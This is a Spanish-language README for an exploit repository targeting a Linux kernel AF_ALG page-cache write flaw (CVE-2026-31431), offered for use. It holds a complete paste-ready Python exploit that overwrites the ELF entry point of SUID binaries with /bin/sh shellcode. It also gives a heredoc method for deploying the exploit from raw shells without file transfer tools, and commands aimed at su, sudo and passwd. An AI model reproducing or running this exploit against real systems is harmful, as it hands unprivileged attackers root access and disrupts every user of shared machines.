
CVE-2026-31431 Copy Fail — Exploit LPE universal. Offset ELF dinámico + sobrescritura completa del binario, compatible con Python 2/3 con respaldo de splice mediante ctypes
Escritura arbitraria de 4 bytes en la caché de páginas del kernel de Linux → Escalada de privilegios local
Múltiples enfoques de explotación: sobrescritura dinámica del punto de entrada ELF, reemplazo completo del binario, compatible con Python 3.x con fallback de splice mediante ctypes.
CVE-2026-31431 es una vulnerabilidad en el subsistema criptográfico AF_ALG del kernel de Linux. Al abusar de splice() + descifrado in-place de authencesn, un usuario sin privilegios puede escribir 4 bytes en un desplazamiento arbitrario en la caché de páginas del kernel — la misma caché utilizada para toda la memoria respaldada por archivos.
Esto significa:
Este repositorio proporciona tres herramientas que utilizan la misma primitiva de copy-fall de AF_ALG:
| Punto de Entrada Dinámico | Reemplazo Completo del Binario | Comprobador de Vulnerabilidad | |
|---|---|---|---|
| Archivo | exploit.py | poc_compatible.py | check_cve.sh |
| Estrategia | Sobrescribe el punto de entrada ELF con shellcode | Reemplaza el binario completo desde el desplazamiento 0 | Comprueba si el objetivo es vulnerable |
| Objetivo | Cualquier binario SUID x86_64 | Cualquier binario (SUID o no) | N/A |
| Python | 3.x (todas las versiones) | 2 / 3 | Bash |
| Payload | Shellcode de 36 bytes | ELF completo comprimido con zlib | N/A |
| Autor | Este trabajo | h4ppy7ree | h4ppy7ree |
Punto de entrada dinámico — Analiza el encabezado ELF en tiempo de ejecución para calcular el desplazamiento del archivo del punto de entrada (p_offset + (e_entry - p_vaddr)), y luego escribe un stub de shellcode pequeño. Sin desplazamientos fijos: un solo script funciona en cualquier binario SUID x86_64 independientemente de la distribución o versión.
Reemplazo completo del binario — Sobrescribe el objetivo desde el desplazamiento 0 con un payload ELF completo preconstruido (comprimido con zlib e incrustado en el script). Puede apuntar a binarios no SUID ejecutados por procesos privilegiados (trabajos cron, servicios systemd, kube-proxy). Funciona con Python 2.
Comprobador de vulnerabilidad — Comprueba si el sistema objetivo tiene AF_ALG, authencesn y algif_aead disponibles antes de ejecutar un exploit.
exploit.py; Python 2 compatible mediante poc_compatible.py)/usr/bin/su, /usr/bin/sudo, etc.)# Crea un contenedor de prueba con un usuario sin privilegios
docker run -ti --rm ubuntu:22.04 bash -c '
sed -i "s|archive.ubuntu.com|mirrors.aliyun.com|g;s|security.ubuntu.com|mirrors.aliyun.com|g" /etc/apt/sources.list
apt-get update -qq && apt-get install -y -qq python3 gcc
cat > /tmp/verify.c << EOF
#include <unistd.h>
#include <stdio.h>
int main() {
printf("uid=%d euid=%d\\n", getuid(), geteuid());
printf("Not rooted - exploit entry point to get shell\\n");
return 0;
}
EOF
gcc -o /usr/local/bin/verify /tmp/verify.c
chmod 4755 /usr/local/bin/verify
useradd -m testuser
su - testuser
'
Luego, dentro del contenedor como testuser:
# Antes: setuid(0) falla porque el uid real no es 0
/usr/local/bin/verify
# uid=1000 euid=0
# (sale normalmente, sin root)
# Ejecuta el exploit
python3 exploit.py /usr/local/bin/verify
# Después: punto de entrada sobrescrito, el shellcode obtiene root
# uid=0(root) gid=1000(testuser)
En escenarios reales a menudo solo tienes un shell crudo — sin scp, sin curl, sin wget. Este método utiliza un heredoc de cat para escribir el exploit directamente en la terminal:
# Opción 1: ejecuta el script de shell
sh exploit-one-liner.sh /usr/local/bin/verify
# Opción 2: pega directamente en la terminal (copia todo el bloque)
cat > /tmp/exploit.py << 'EXPY'
from __future__ import print_function
import os,socket,struct,sys,binascii,ctypes,ctypes.util
if not hasattr(os,'splice'):
_l=ctypes.CDLL(ctypes.util.find_library('c'),use_errno=True)
def _s(src,dst,count,offset_src=None,offset_dst=None,flags=0):
ctypes.set_errno(0);pi=ctypes.byref(ctypes.c_longlong(offset_src)) if offset_src is not None else None;po=ctypes.byref(ctypes.c_longlong(offset_dst)) if offset_dst is not None else None;r=_l.splice(ctypes.c_int(src),pi,ctypes.c_int(dst),po,ctypes.c_size_t(count),ctypes.c_uint(flags))
if r==-1:raise OSError(ctypes.get_errno(),'splice')
return r
os.splice=_s
def d(x):
if isinstance(x,str):x=x.encode('ascii')
return binascii.unhexlify(x)
def w(t,o,p):
s=socket.socket(38,5,0);s.bind(("aead","authencesn(hmac(sha256),cbc(aes))"))
s.setsockopt(279,1,d('0800010000000010'+'0'*64));s.setsockopt(279,5,None,4)
u,_=s.accept();z=d('00')
u.sendmsg([b"A"*4+p],[(279,3,z*4),(279,2,b'\x10'+z*19),(279,4,b'\x08'+z*3)],32768)
r,ww=os.pipe();fd=os.open(t,0);os.splice(fd,ww,o+4,offset_src=0);os.splice(r,u.fileno(),o+4)
try:u.recv(8+o)
except:0
[os.close(x) for x in [fd,r,ww]];u.close();s.close()
with open(sys.argv[1],'rb') as f: h=f.read(64)
e=struct.unpack_from('<Q',h,24)[0]
p=struct.unpack_from('<Q',h,32)[0]
n=struct.unpack_from('<H',h,56)[0]
sz=struct.unpack_from('<H',h,54)[0]
off=0
with open(sys.argv[1],'rb') as f:
for i in range(n):
f.seek(p+i*sz);ph=f.read(sz)
if struct.unpack_from('<I',ph,0)[0]!=1: continue
pv,po,pf=struct.unpack_from('<QQQ',ph,16)[:3];pv2=struct.unpack_from('<Q',ph,8)[0]
if pv<=e<pv+pf: off=pv2+(e-pv);break
print("entry offset: 0x%x" % off)
sc=b'\x48\x31\xff\x31\xc0\xb0\x69\x0f\x05'
sc+=b'\x48\x31\xd2\x52'
sc+=b'\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00'
sc+=b'\x53\x48\x89\xe7\x48\x31\xf6\x31\xc0\xb0\x3b\x0f\x05'
print("shellcode %d bytes" % len(sc))
sc+=b'\x00'*(4-len(sc)%4)
for i in range(len(sc)//4):
w(sys.argv[1],off+i*4,sc[i*4:i*4+4])
print(" wrote 0x%x: %s" % (off+i*4,sc[i*4:i*4+4].hex()))
with open(sys.argv[1],'rb') as f:
f.seek(off);vd=f.read(32)
print("verify: %s" % vd[:len(sc)].hex())
os.system(sys.argv[1])
EXPY
python3 /tmp/exploit.py /usr/local/bin/verify
Por qué esto importa: Los entornos de contenedores a menudo carecen de herramientas de transferencia de archivos (
scp,curl,wget). El método heredoc solo requierecatypython3— disponibles en todas partes.
Puedes reemplazar /usr/local/bin/verify con cualquier binario SUID-root:
python3 exploit.py /usr/bin/su
python3 exploit.py /usr/bin/sudo
python3 exploit.py /usr/bin/passwd
python3 exploit.py /usr/bin/chsh
⚠️ Advertencia: Apuntar a binarios SUID del sistema (como
/usr/bin/su) afecta a todos los usuarios del sistema. El binario se vuelve inutilizable hasta que se limpie la caché de páginas. En la máquina host, cualquier usuario que ejecutesuobtendría un shell root.En un sistema compartido/de producción, esto es inmediatamente notable —
sufallará o generará shells inesperados para todos. Usaverify.cpara pruebas seguras.
El exploit solo modifica la caché de páginas (memoria), no el disco. Opciones de recuperación: